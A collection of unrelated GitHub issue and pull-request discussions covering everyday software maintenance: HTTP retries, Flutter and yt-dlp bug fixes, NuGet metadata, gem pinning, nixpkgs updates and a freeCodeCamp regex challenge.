That said, I suspect it would be more correct/helpful to have a single automatic retry for 502 errors from the server based on an idempotent flag. Though it''s possible that we use HTTP verbs correctly, and one can just use those to determine what's idempotent.

The other changes look great. That Chrome bug where it would leak memory across reloads was a nightmare I'd prefer to never be reminded above again, so very glad to get to delete the related code.

Correct functioning of HTTP already depends on using verbs correctly, as browsers and proxy servers do in practice retry certain requests automatically based on their specified safety and idempotency. If we’re violating this, we already have a bug.

Well, the thing we're deleting in the channel commit is an explicit retry for a case where the browser would have had no way of knowing it needed to retry, because the server somehow returned a 200 despite not having processed the request. But given logs suggest whatever bug was involved has been fixed, I don't think we need to keep it. (And I think if we wanted to add something like it again, we could potentially just inspect the verb rather than using an idempotent flag)

Yeah, agreed.

Merged, after adding some of that history to the commit message for posterity. Thanks for doing this cleanup @andersk!


Revert "Fixes MacOS linker issue with release build"

This reverts commit bbf3be3919184801bb4c7d924c0c9e9888d79d99.

Don't forget to remove the Milestone from the reverted PR :)


Running 'flutter pub get []' does not find pubspec.yaml

Steps to Reproduce

Run flutter create bug.
Go to the folder cd bug and clean out the packages by running rm .packages and rm -rf .dart_tool/
Go up one folder (cd ..), try running flutter pub get bug and it will give you the error message:

Error: No pubspec.yaml file found.
This command should be run from the root of your Flutter project.
Do not run this command from the root of your git clone of Flutter.

According to flutter pub get --help we should be able to do this:
Get packages in a Flutter project.

Usage: flutter pub get [<target directory>]
-h, --help       Print this usage information.
    --offline    Use cached packages instead of accessing the network.

Run "flutter help" to see global options.

Logs

flutter doctor -v
[✓] Flutter (Channel master, v1.15.4-pre.170, on Mac OS X 10.15.3 19D76, locale en-DE)
    • Flutter version 1.15.4-pre.170 at /Users/perc/development/flutter
    • Framework revision c0565c417b (8 minutes ago), 2020-02-26 12:10:41 +0100
    • Engine revision 888a62cf22
    • Dart version 2.8.0 (build 2.8.0-dev.10.0 73f6d15665)

[✓] Android toolchain - develop for Android devices (Android SDK version 29.0.2)
    • Android SDK at /Users/perc/Library/Android/sdk
    • Android NDK location not configured (optional; useful for native profiling support)
    • Platform android-stable, build-tools 29.0.2
    • Java binary at: /Applications/Android Studio with Blaze.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_212-release-1586-b4-5784211)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 11.3.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 11.3.1, Build version 11C505
    • CocoaPods version 1.8.4

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

PackagesGetCommand requiresPubspecYaml() so it doesn't even get to the <target directory> parsing.

It looks like this issue has been fixed on the latest version of master. The steps to reproduce failed as expected on stable but on master, flutter pub get [<target directory>] executed successfully. Verbose logs of executing the commands are attached below.
I'll be closing this as fixed since I cannot reproduce this on the master channel.
Thank you
log_stable.log
log_master.log

flutter doctor -v
[✓] Flutter (Channel stable, 3.0.5, on macOS 12.4 21F79 darwin-arm, locale en-GB)
    • Flutter version 3.0.5 at /Users/nexus/dev/sdks/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision f1875d570e (3 weeks ago), 2022-07-13 11:24:16 -0700
    • Engine revision e85ea0e79c
    • Dart version 2.17.6
    • DevTools version 2.12.2

[✓] Android toolchain - develop for Android devices (Android SDK version 33.0.0)
    • Android SDK at /Users/nexus/Library/Android/sdk
    • Platform android-33, build-tools 33.0.0
    • Java binary at: /Applications/Android Studio.app/Contents/jre/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 13.4.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • CocoaPods version 1.11.3

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2021.2)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)

[✓] VS Code (version 1.69.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.46.0

[✓] Connected device (4 available)
    • sdk gphone64 arm64 (mobile) • emulator-5554                        • android-arm64  • Android 13 (API 33) (emulator)
    • iPhone 13 Pro (mobile)      • 6E074BA5-191C-47D4-892F-FD96AFC34148 • ios            • com.apple.CoreSimulator.SimRuntime.iOS-15-5 (simulator)
    • macOS (desktop)             • macos                                • darwin-arm64   • macOS 12.4 21F79 darwin-arm
    • Chrome (web)                • chrome                               • web-javascript • Google Chrome 104.0.5112.79

[✓] HTTP Host Availability
    • All required HTTP hosts are available

• No issues found!

[✓] Flutter (Channel master, 3.1.0-0.0.pre.2055, on macOS 12.4 21F79 darwin-arm, locale en-GB)
    • Flutter version 3.1.0-0.0.pre.2055 on channel master at /Users/nexus/dev/sdks/flutters
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision b4673a2c1f (5 hours ago), 2022-08-03 00:51:16 -0400
    • Engine revision 6cd744bb97
    • Dart version 2.19.0 (build 2.19.0-58.0.dev)
    • DevTools version 2.16.0

[✓] Android toolchain - develop for Android devices (Android SDK version 33.0.0)
    • Android SDK at /Users/nexus/Library/Android/sdk
    • Platform android-33, build-tools 33.0.0
    • Java binary at: /Applications/Android Studio.app/Contents/jre/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS (Xcode 13.4.1)
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Build 13F100
    • CocoaPods version 1.11.3

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 2021.2)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 11.0.12+0-b1504.28-7817840)

[✓] VS Code (version 1.69.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.46.0

[✓] Connected device (4 available)
    • sdk gphone64 arm64 (mobile) • emulator-5554                        • android-arm64  • Android 13 (API 33) (emulator)
    • iPhone 13 Pro (mobile)      • 6E074BA5-191C-47D4-892F-FD96AFC34148 • ios            • com.apple.CoreSimulator.SimRuntime.iOS-15-5 (simulator)
    • macOS (desktop)             • macos                                • darwin-arm64   • macOS 12.4 21F79 darwin-arm
    • Chrome (web)                • chrome                               • web-javascript • Google Chrome 104.0.5112.79

[✓] HTTP Host Availability
    • All required HTTP hosts are available

• No issues found!


Populate RepositoryBranch package metadata if available

Only do so if PublishRepositoryUrl=true, meaning you want this information to be public in the first place.
See RepositoryBranch in https://learn.microsoft.com/en-us/nuget/reference/msbuild-targets.

This seems very reasonable, but I have to admit that my first thought was 'why isn't this in dotnet/sourcebuild?'. I looked in that repo and they don't do anything for RepositoryBranch, so I was surprised.

Gently pinging @clairernovotny 😉

Anything stopping this PR from merging? Polysharp also waiting on this ... https://github.com/Sergio0694/PolySharp/pull/24#discussion_r1024511185
@clairernovotny ?

@baronfel ?

Thanks @kzu, and sorry for this one falling through the cracks.

How does this ship? Is it automatic? Did it ship already?

This still hasn't shipped: https://www.nuget.org/packages/DotNet.ReproducibleBuilds

We've shipped this in 1.2.4 at long last!


Lock sqlite gem version to 1.3

On February 04, 2019 sqlite3 1.4.0 has been released. This version breaks ActiveRecord 5.2.2 SQLite adapter, which requires sqlite3 ~> 1.3.6: https://github.com/rails/rails/blob/v5.2.2/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb#L12

Should we have a dependency on this at all?  can we remove the sql-lite dependency?  Or is this required for testing?

Nice question: I guess it's required by the dummy app, which I noticed that doesn't have a Gemfile for itself; I guess the best thing would be adding the Gemfile to the dummy app

@mdesantis  I agree about adding to the dummy app.  We shouldn't impose this dependency on the main app.  Do you want to rework this PR to do that?

Probably we could also add graphiql-rails gem dependency to the dummy app, instead of adding it to the gemspec as I did in this PR: https://github.com/boomerdigital/solidus_graphql_api/pull/31

@dhonig yes I agree, I'll modify the dummy app generator task in favour of this PR


add more details and relevant links

Based on https://groups.google.com/d/msg/julia-users/vlLLmSZVeKk/0f-SbEiICAAJ
Also change the level of the section headings (there is usually only one H1, the main title of the document)

Thank you !


AWS Batch support

aws-sdk-cpp appears to have no support for the new AWS Batch service yet. Will this be added? I notice there already is a code-generation/api-descriptions/batch-2016-08-10.normal.json in the repo, but no C++ APIs generated from it yet.

This was added in yesterday's update.


Fix compatibility of make test in OSX

OSX cp command doesn't have -l option.
use ln instead of cp -l for OSX compatibility

+1 for this, I couldn't run unit tests.


Job fails

The job fails whenever it is ran. Logs attached
my workflow is set up as the following
name: Publish Release

on:
  push:
    tags:
      - '*'
  workflow_dispatch:

jobs:
  build-release:
    runs-on: ubuntu-latest
    steps:
      - name: .NET Library Build and Release
        uses: ricado-group/dotnet-library-build-release-action@v1
        with:
          project-name: 'x3rt.KurvaBot'
          github-token: ${{ secrets.GITHUB_TOKEN }}
          private-nuget-url: 'https://nuget.pkg.github.com/x3rt/index.json'
          private-nuget-token: ${{ secrets.PERSONAL_ACCESS_TOKEN }}
          public-nuget-token: ${{ secrets.NUGET_APIKEY }}

Hello @x3rt
Sorry for the delay in responding to your issue!
This should now work as expected. Previously, the v1 tag had not been re-created when bugfixes and improvements were made.

Hello @x3rt
Sorry for the delay in responding to your issue!
This should now work as expected. Previously, the v1 tag had not been re-created when bugfixes and improvements were made.


VW: check cruise control

Each is only applicable in one of the two pcmCruise states, so only set when needed to be explicit.
TODO: waiting on final route from user to find a possibly better signal

@jyoung8607 how does this look assuming we find the best signal for this?
BTW I have a slight preference for this one as we: 1) already check the message, 2) others are not faster, 3) we already understand this signal. The other possible message has no counter or checksum.

Haven't seen any speed limiter usage in our local rlogs last 360 days.
saving graph: /home/batman/status/1000_vw_check_nonadaptive.a2e5bff9-f606-4e49-9a17-d7bec8a91820.pickle
======== summary ========
success: 63976
skipped: 0
failed: 456
pending: 0
==== error messages =====
CarState (456/64432) 0.7%
DataBadError: Car CAN data invalid (337)
DataBadError: Couldn't determine online CarParams (47)
TypeError: argument of type 'NoneType' is not iterable (67)
Exception: Non-adaptive cruise control mode not supported (5)
====== error types ======
CarState (456/64432) 0.7%
DataBadError:  (384)
TypeError:  (67)
Exception:  (5)
['CarState/9d09cc205c254c4b|00000000--8e49d0191f/31',
 'CarState/9d09cc205c254c4b|00000000--8e49d0191f/1',
 'CarState/9d09cc205c254c4b|00000000--8e49d0191f/27',
 'CarState/9d09cc205c254c4b|00000000--8e49d0191f/13',
 'CarState/9d09cc205c254c4b|00000000--8e49d0191f/21']

process replay diff is expected, the default value for unseen messages is always 0


Clarify shouldComponentUpdate()

Hi, nice to meet you!
I'm currently developing a revolutionary (in my opinion) learning platform (this thing's going to be a start-up. Message me if any of you guys are interested!). And it's written in React and its first learning materials will be adapted from the React guide itself.
So, thanks for creating this great library and documentation.
Because of these background, I've been carefully grokking the documentation and source code recently. I'm very happy that most of documentation is very clear. However, I think I spotted some rough edges, or stumbled upon its very explanation at least by me :tongue: .
I believe the explanation are clearer in my opinion. However, there are some misunderstandings or unclear portions. Any feedback is welcome!

Hello @ryoqun!
These explanations you added reflect to the legacy docs and wording, hence I will close this this PR as outdated.
Please create new PRs for other open issues if you would still like to contribute.
Thank you!


Add Expense Date

Add expense date field, defaulting to today's date. This is assignable in the expense form.
Group expenses list will sort by this date in descending order
This resolves issue #17

...sorry, in an attempt to continue working with this + PR #25 I have merged the commits in this PR. So if this is looked at after the categories one then all should be fine in terms of merging

Hi @ChristopherJohnston, this is truly amazing, thanks for the contribution!
I’m very interested in storing/displaying an expense date, but I think categories require a bit more thinking… Do you think you could keep this PR only for the expense date? Hopefully this won’t be too much effort…

Hi @ChristopherJohnston, this is truly amazing, thanks for the contribution!
I’m very interested in storing/displaying an expense date, but I think categories require a bit more thinking… Do you think you could keep this PR only for the expense date? Hopefully this won’t be too much effort…

sure - looks like all of this is behind your uneven split changes so I think it's easier that I close these PRs and start again - this one is a relatively simple change.

closing as superseded by #26


[extractor/twitch] Skip errors in GQL response

IMPORTANT: PRs without the template will be CLOSED
Description of your pull request and other information

This PR fixes the problem where Twitch's GQL API sometimes returns an error before the actual data, breaking the extractor that assumed the video data would be at index 0.
Full json response: https://gist.github.com/elyse0/3b1679b6a0b8d7aa8112f75c1eb52403
Trimmed json
[
  {
    "errors": [
      {
        "message": "PersistedQueryNotFound"
      }
    ],
    "extensions": {
      "durationMilliseconds": 3,
      "operationName": "VideoMetadata",
      "requestID": "01GSTXCZDDA9GN7ZHBRSB9MP4Y"
    }
  },
  {
    "data": {
      "video": {
        "id": "1697007802",
        "moments": {
          ...
          "__typename": "VideoMomentConnection"
        },
        "__typename": "Video"
      }
    },
    "extensions": {
      "durationMilliseconds": 61,
      "operationName": "VideoPlayer_ChapterSelectButtonVideo",
      "requestID": "01GSTXCZDDA9GN7ZHBRSB9MP4Y"
    }
  },
  {
    "data": {
      "video": {
        "id": "1697007802",
        "seekPreviewsURL": "https://d1m7jfoe9zdc1j.cloudfront.net/66e41701aa009d198649_vickypalami_40717337225_1672796209/storyboards/1697007802-info.json",
        "__typename": "Video"
      }
    },
    "extensions": {
      "durationMilliseconds": 25,
      "operationName": "VideoPlayer_VODSeekbarPreviewVideo",
      "requestID": "01GSTXCZDDA9GN7ZHBRSB9MP4Y"
    }
  }
]

Fixes #6308
Template

Before submitting a pull request make sure you have:

[x] At least skimmed through contributing guidelines including yt-dlp coding conventions
[x] Searched the bugtracker for similar pull requests
[x] Checked the code with flake8 and ran relevant tests

In order to be accepted and merged into yt-dlp each piece of code must be in public domain or released under Unlicense. Check all of the following options that apply:

[x] I am the original author of this code and I am willing to release it under Unlicense
[ ] I am not the original author of this code but it is in public domain or released under Unlicense (provide reliable evidence)

What is the purpose of your pull request?

[x] Fix or improvement to an extractor (Make sure to add/update tests)
[ ] New extractor (Piracy websites will not be accepted)
[ ] Core bug fix/improvement
[ ] New feature (It is strongly recommended to open an issue first)

With this patch applied, stream titles will randomly fail to be fetched. It changes on every run of the for loop below:
> for /f %a in (vid) do @yt-dlp --get-title %a
Untitled Broadcast
The game in the year of our lord 2023 without FOV options 🤣🤣🤣
BIRTHDAY SPEEDRUNS
Returnal
Untitled Broadcast
SPOOKY SUNDAY - The Karaoke
Untitled Broadcast
Any Goblin Caves Enjoyers?

[ R:\ ]
> for /f %a in (vid2) do @yt-dlp --get-title %a
Untitled Broadcast
Untitled Broadcast
Untitled Broadcast
Elden Ring Any% Glitchless WR Attempts | Atomic Hearts/Rivals Later w/ !team
Untitled Broadcast
Untitled Broadcast
PURE DARKNESS Elden Ring in FIRST PERSON | Horror Mode | !Vods (I won the !KemonoQuest)
Beating Elden Ring in FIRST PERSON | All Remembrances | !Vods (I won the !KemonoQuest)

vid contents: https://0x0.st/Hs3g.txt
vid2 contents: https://0x0.st/Hs3E.txt
My yt-dlp environment:
[debug] Command-line config: ['-v']
[debug] User config "C:\Users\garoto\yt-dlp.conf": ['--extractor-args', 'youtube:skip=translated_subs', '--external-downloader-args', '-hide_banner -loglevel warning -stats', '--no-sponsorblock', '--no-mtime', '--no-warnings', '--ignore-errors', '--force-ipv4', '--restrict-filenames', '--merge-output-format', 'mkv', '--sub-lang', 'en.*,pt,pt-BR', '--write-sub', '--embed-subs', '--convert-subs', 'srt', '--format', '(bestvideo[width<=1920][fps<=60][vcodec^=vp9]+bestaudio[acodec=opus])/299+140/137+251/best/bestvideo+bestaudio', '--output', '%(title).70s-%(upload_date)s-%(uploader)s-%(extractor_key)s_%(id).19s.%(ext)s']
[debug] Encodings: locale cp1252, fs utf-8, pref cp1252, out utf-8 (No VT), error utf-8 (No VT), screen utf-8 (No VT)
[debug] yt-dlp version 2023.02.17 [a0a7c01] (pip)
[debug] Python 3.8.2 (CPython AMD64 64bit) - Windows-8.1-6.3.9600-SP0 (OpenSSL 1.1.1d  10 Sep 2019)
[debug] exe versions: ffmpeg 4.0.2, ffprobe 4.0.2
[debug] Optional libraries: Cryptodome-3.17, brotli-1.0.9, certifi-2022.12.07, mutagen-1.46.0, sqlite3-2.6.0, websockets-10.4
[debug] Proxy map: {}
[debug] Loaded 1782 extractors

I think hardcoding an index of 1 might not be what we want. Can we traverse through the response using ... instead maybe?

Looking at the extractor and error more closely, the problem was that some _OPERATION_HASHES were not up to date
I've updated these hashes and updated some tests
This shoud fix the titles @garoto

This shoud fix the titles @garoto

Tested a bunch of VODs and it seems to be fixed indeed. Thank you!


Pools tab not working

When I query the pools tab I get nothing. Clicking the no result tab for the term "fast" gives me this blank page: http://danbooru.donmai.us/posts.xml?login=&password_hash=&limit=40&page=1&tags=pool:1 1823 - removing the 1%20 (space) from the pool tab fixes this.

It would seem that you are mixing the tag field with the pool ID select box.
The pool ID has to be directly on the right of the source selector.
The order is: source, pool ID, tags, page number.


Simplify pipeline configuration

What feature do you want to see added?
Currently, using the plugin within a Pipeline project requires to add this in the Jenkinsfile:
step([$class: 'jacked', scanName: 'alpine', severityType: 'medium', autoInstall: true])

It could be simplify and make the syntax easier like
jacked scanName: 'alpine', severityType: 'medium', autoInstall: true

for example. See https://www.jenkins.io/doc/developer/plugin-development/pipeline-integration/#defining-symbols.
Upstream changes
No response

Thank you, @alecharp. I will enhance it to simplify the syntax. 😃👍

I simplified the syntax and updated the plugin. 😃


chore: clean unused components and refactoring

:tada: This PR is included in version 1.11.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Daniil: Blacklist (?-i:^neolift$)

Daniil requests the blacklist of the username (?-i:^neolift$). See the MS search here and the Stack Exchange search here.

(?-i:^neolift$) has been seen in 4 true positives, 0 false positives, and 0 NAAs.

Approved by tripleee in Charcoal HQ


Variant Selector Not Showing on Base Product(s)

This is a potential variants issue discovered while investigating e2e test failure ( GH-6464 )
Issue 1
http://dev-com-12.accdemo.b2c.ydev.hybris.com:4200/apparel-uk-spa/en/GBP/product/100191

Observed: The variant selector does not show when the PDP displays a variant base product.
Expected: The style selection should be possible. ( a case covered by e2e test ).

Issue 2:
http://dev-com-12.accdemo.b2c.ydev.hybris.com:4200/apparel-uk-spa/en/GBP/product/100191_glacier/Beacon Jacket glacier

Observed: The variant size selector does not show when the PDP displays a style variant base product.
Expected:  The size selection should be possible. ( a case covered by e2e test ).

Note:
The variant options selector displays properly when the PDP displays a specific variant:
http://dev-com-12.accdemo.b2c.ydev.hybris.com:4200/apparel-uk-spa/en/GBP/product/300441354/Beacon Jacket glacier L

@mirkosoft , can you assess if this looks like a legitimate issue to you?

QA Steps: Just follows "expected" statemets in the description.

Tested successfuly.


python311Packages.zha-quirks: 0.0.106 -> 0.0.107

Diff: https://github.com/zigpy/zha-device-handlers/compare/refs/tags/0.0.106...0.0.107
Changelog: https://github.com/zigpy/zha-device-handlers/releases/tag/0.0.107
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Priorities
Add a :+1: reaction to pull requests you find important.

Already in #269233 with migration to PEP517 builder.

Result of nixpkgs-review pr 270898 run on x86_64-linux 1

1 package failed to build:

home-assistant-component-tests.zha

10 packages built:

home-assistant-component-tests.hassio
home-assistant-component-tests.homeassistant_green
home-assistant-component-tests.homeassistant_hardware
home-assistant-component-tests.homeassistant_sky_connect
home-assistant-component-tests.homeassistant_yellow
home-assistant-component-tests.otbr
python310Packages.zha-quirks
python310Packages.zha-quirks.dist
python311Packages.zha-quirks
python311Packages.zha-quirks.dist


deployment folder

Issue #, if available:
Description of changes:
The documentation currently has the script running from the cloned, base folder.
Needs to run from deployment folder to work.
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

FYI I also got the following:
------------------------------------------------------------------------------
[Synth] CDK Project
------------------------------------------------------------------------------
cd /home/ec2-user/environment/aws-mlops-framework/deployment/../source
npm install -g<EMAIL_ADDRESS>npm ERR! code EEXIST
npm ERR! syscall symlink
npm ERR! path ../lib/node_modules/aws-cdk/bin/cdk
npm ERR! dest /home/ec2-user/.nvm/versions/node/v10.24.0/bin/cdk
npm ERR! errno -17
npm ERR! EEXIST: file already exists, symlink '../lib/node_modules/aws-cdk/bin/cdk' -> '/home/ec2-user/.nvm/versions/node/v10.24.0/bin/cdk'
npm ERR! File exists: /home/ec2-user/.nvm/versions/node/v10.24.0/bin/cdk
npm ERR! Remove the existing file and try again, or run npm
npm ERR! with --force to overwrite files recklessly.

npm ERR! A complete log of this run can be found in:
npm ERR!     /home/ec2-user/.npm/_logs/2021-03-18T05_51_09_453Z-debug.log

Ran --force at the npm install step but probably a better way to fix it.

Hi @smart-patrol, thanks for you contribution and raising this issue. I have merged your pull request.


Proton game doesn't use the system-provided icon

I'm playing https://store.steampowered.com/app/787480/Phoenix_Wright_Ace_Attorney_Trilogy/, which runs through Proton, but it uses its default .exe icon instead of the system-provided icon.
By the way, I'm using the latest version of Proton-GE, but I don't think this causes any problems related to the icons.
Thanks in advance.

If the game has a unique WM_CLASS, which in this case it does, you don't need WM_NAME. You just add
"787480": "steam_app_787480",

to the "wm_classes" section in the database.json.
However, the script should automatically detect Proton games (if you indeed selected custom Proton in the dropdown menu in games properties / compatibility). I added a custom log for this in latest commit.
Can you update and share the output of ./sif.py --verbose? Can you share the output of ./sif.py --icons as well?

Thank you for the outputs. It seems that you may have configured the Proton-GE in Steam > Settings > Compatibility > Enable Steam Play for all other titles. Am I right? This is currently not supported by the script (And I will need to update the documentation for this or somehow fix it).
What is supported tho, is if you set the Proton version for the specific game. Right-click on the game in the library > ...Properties > Compatibility > Force the use of a specific Steam Play compatibility tool, select the Proton version and then run the SIF script again.
This is because SIF script looks for Proton-specific games in the ~/.local/share/Steam/config/config.vdf file in the section CompatToolMaping and those are necessary to be configured per game.

If you don't want to change your Steam options, I added a new --proton option in latest commit, which must be used only in combination with --single option. So you would fix your game with:
./sif.py --single 787480 --proton


DCOS-13456: Fix fluid gemini scrollbar stylesheet handling

Change the componentWillUnmount method to use Node.prototype.removeChild as ChildNode.prototype.remove is still experimental and not supported by the Internet Explorer.
Closes DCOS-13456

Nice fix!


Implement forks

Is your feature request related to a problem? Please describe.
No.
Describe the solution you'd like
I would like to use a gitea_fork resource.
Describe alternatives you've considered
I've considered writing a terraform provider that wraps curl, a gitea_repository with a provisioner, etc. I have considered other non-terraform options including kubernetes operator, crossplane provider, etc.
Additional context
Specifically, I need a crossplane provider to provide a fork resource for gitea. I have already generated a working provider via terrajet using Lerentis/gitea. Now I need the fork resource.

I am willing to try to implement this or to to test it if someone else implements it.

Hi @juddowilcox
I am not sure I understand what you mean here. Usually a fork is something that you do and not something that you do using a terraform run. Of cause I don't know your use case, so if you want to implement this resource type, I am happy about a contribution

Using crossplane I have to automate deployment of gitea instances into eks
in aws. Each instance must be automatically configured with mirrors (of
repos elsewhere) and forks of those mirrors. I generate the crossplane
provider from your terraform provider.
I am not a go developer but I'll give it a try. Thank you for your work on
On Sat, Oct 1, 2022, 1:53 PM Tobias Trabelsi @.***>
wrote:

Hi @juddowilcox https://github.com/juddowilcox
I am not sure I understand what you mean here. Usually a fork is something
that you do and not something that you do using a terraform run. Of cause I
don't know your use case, so if you want to implement this resource type, I
am happy about a contribution
—
Reply to this email directly, view it on GitHub
https://github.com/Lerentis/terraform-provider-gitea/issues/6#issuecomment-1264451235,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ASEWQKFGM32WZLGJMPNQQIDWBCCDBANCNFSM6AAAAAAQ2MUMZM
.
You are receiving this because you were mentioned.Message ID:
@.***>


GPT4All Java Bindings and supported models list

Fixes https://github.com/xebia-functional/xef/issues/215
This PR introduces the official GPT4ALL Java bindings, which provide access to GPT4All functionality. With the introduction of these bindings, we no longer need to maintain the llama.cpp binaries. The changes in this PR remove references to llama.cpp and replace them with the new GPT4ALL Java bindings.
The key changes in this PR are as follows:

Added the Gpt4AllModel class, which represents a GPT4All model and provides methods to fetch supported models from a JSON file.
Removed the GPT4AllModel interface, as it is no longer needed.
Removed the LLModel interface and its implementations (LlamaModel and GPTJModel), as they are no longer used.
Updated the GPT4All interface to use the new GPT4ALL Java bindings.
Modified the GPT4All.invoke() function to load the GPT4All model using the new bindings.
Updated the createCompletion() and createChatCompletion() functions in the GPT4All interface to use the new GPT4ALL Java bindings for generating completions.
Updated the main() function in the Chat.kt example to use the new GPT4ALL Java bindings and the Gpt4AllModel.supportedModels() function to display the supported models.
Removed references to llama.cpp and related binaries from the codebase.
Updated the build configuration to include the Kotlin Serialization plugin.

@xebia-functional/team-ai


feat: skip preview deploy if the PR originates from dev

Is this a good idea?

Great suggestion. I made the change. Would you mind giving it another look?


DBZ-5661 Fix for Embedded Engine retrying indefinitely even when max retries is 0

External Links
DBZ-5661
Description
The changes is to break the indefinite retries upon RetriableException in EmbeddedEngine, when the max retries is set to 0.
Notes for Reviewer
This PR is a preliminary fix to the problem running replication using EmbeddedEngine and retrying endlessly on failure. This will break the infinite looping over RetriableException and let the engine exit gracefully when user choose not to retry through below config property set to zero:
errors.max.retries
@jpechane, while I will continue to work on Original PR  to achieve more consistent behaviour for RetriableExceptions between Kafka connectors and EmbeddedEngine, this simple solution unblocks  from the retry loop and enables to use EmbeddedEngine with the above mentioned config property to escape retries in the meantime.

@ggaborg, please review this PR.

Agreed on suggestion in PR, hence closing this!


[FEATURE REQUEST] Discover Packages – Search: Browse the search results by pressing the down or up arrow keys

Please confirm these before moving forward
I have searched for my feature proposal and not found a work-in-progress/duplicate/resolved/discarded issue.
This proposal is a completely new feature. If you want to suggest an improvement or an enhancement, please use this template
Describe the new feature

[ ] That's, after typing the query, pressing the down arrow key would select the top result, and continuing to press the down arrow key, you continue to go down the list.

[ ] Pressing the up arrow key selects from the bottom and upwards.

Obviously, the ability to wrap around would be appreciated; If you're at the bottom entry and press the down arrow key, wrap around to the top entry of the results, and vice versa.
Once on the desired entry, press ENTER to execute.

[ ] Also, pressing ENTER on the selected entry in the list (i.e., app) ought to respect the option to instantly install by double-clicking;

Option off: Shows details of the selected app when pressing ENTER.
Option on: Starts installation of the selected app when pressing ENTER.
Describe how this new feature could help users.
More effective navigation, never leaving the keyboard to manage WingetUI.

Unfortunately, this is not possible in a useful manner; there's no way (that we've found) to manually change the focus of the list's items, meaning all the selection would do is move the blue outline rather than actually changing the focus (so none of the other keyboard commands, like the enter key, would work). UniGetUI currently has (the default behavior) something similar; it doesn't wrap around, but it does allow other keyboard interaction, so I think we have to stick with that.
See #3018.


[Accessibility] Table accessibility

In list view, the icons for add to cart and view docs in the table currently just read "link" with VoiceOver. This is totally unhelpful for screen reader users. Please make sure these have sufficient alt text.
Tested: "Chrome OS / ChromeVox
Mac / VoiceOver
Win / NVDA"

#107 is very related to this. When adding keyboard nav for the table, just make sure whatever highlights the row works for mouse and keyboard.


fix: Protocol reward claiming

Change success state label
Add onSuccess callback
Simplify hooks

@alter-eggo could you finish this PR next week please? When vebal rewards are claimed it was missing and onSuccess callback to refetch balances. I've added that but now the preview modal displays 0 on success because we're not preserving the state.


Fix: set job_name_prefix, fix job_name

This notebook doesn't run because it seems to be using an undeclared variable, job_name_prefix. This PR adds the missing job_name_prefix and sets job_name using the new job_name_prefix variable.

looks like this has since been fixed


regex challenge regression from  #16119

Describe your problem and - if possible - how to reproduce it
The fix for #16119 obfuscated the success conditions:
https://github.com/freeCodeCamp/freeCodeCamp/commit/72fe47c609eb61da17e0af80f3b6a09c87e7861d#diff-9c53bb0f0b326a3ab63a565f77ff30e9
Since the challenge now asks to find a single character (upper or lower "a"), using the * for the most obvious solution ([aA]*) fails the tests, since it also matches nothing. Even a + is bad, since the new tests expect not to match non-repeating "a"s.
You have to use something convoluted as /[aA][aA][aA]*/, which new learners won't come up with nor is it really what the challenge instructions want you to do.
I suggest we remove the last test (extraneus) and change the one before it to hold a string with no "a"s.
Add a Link to the page with the problem
https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/regular-expressions/match-characters-that-occur-zero-or-more-times
https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/seed/challenges/02-javascript-algorithms-and-data-structures/regular-expressions.json#L650

@lynxlynxlynx  It is unclear what the solution should do. Don't these lines contradict each other?

Your regex chewieRegex should use the * character to match zero or more a characters.

Your regex should not match any characters in "He made a fair move. Screaming about it can't help you."

If we have to write regex to specifically match a characters in Aaaaaaaaaaaaaaaargh then /Aa*/ will work.

Yes, but that's just a regression. Previously the base string was longer (Star Wars) and didn't require checking for a specific char, so the solution was of the form /fixed string.*/.

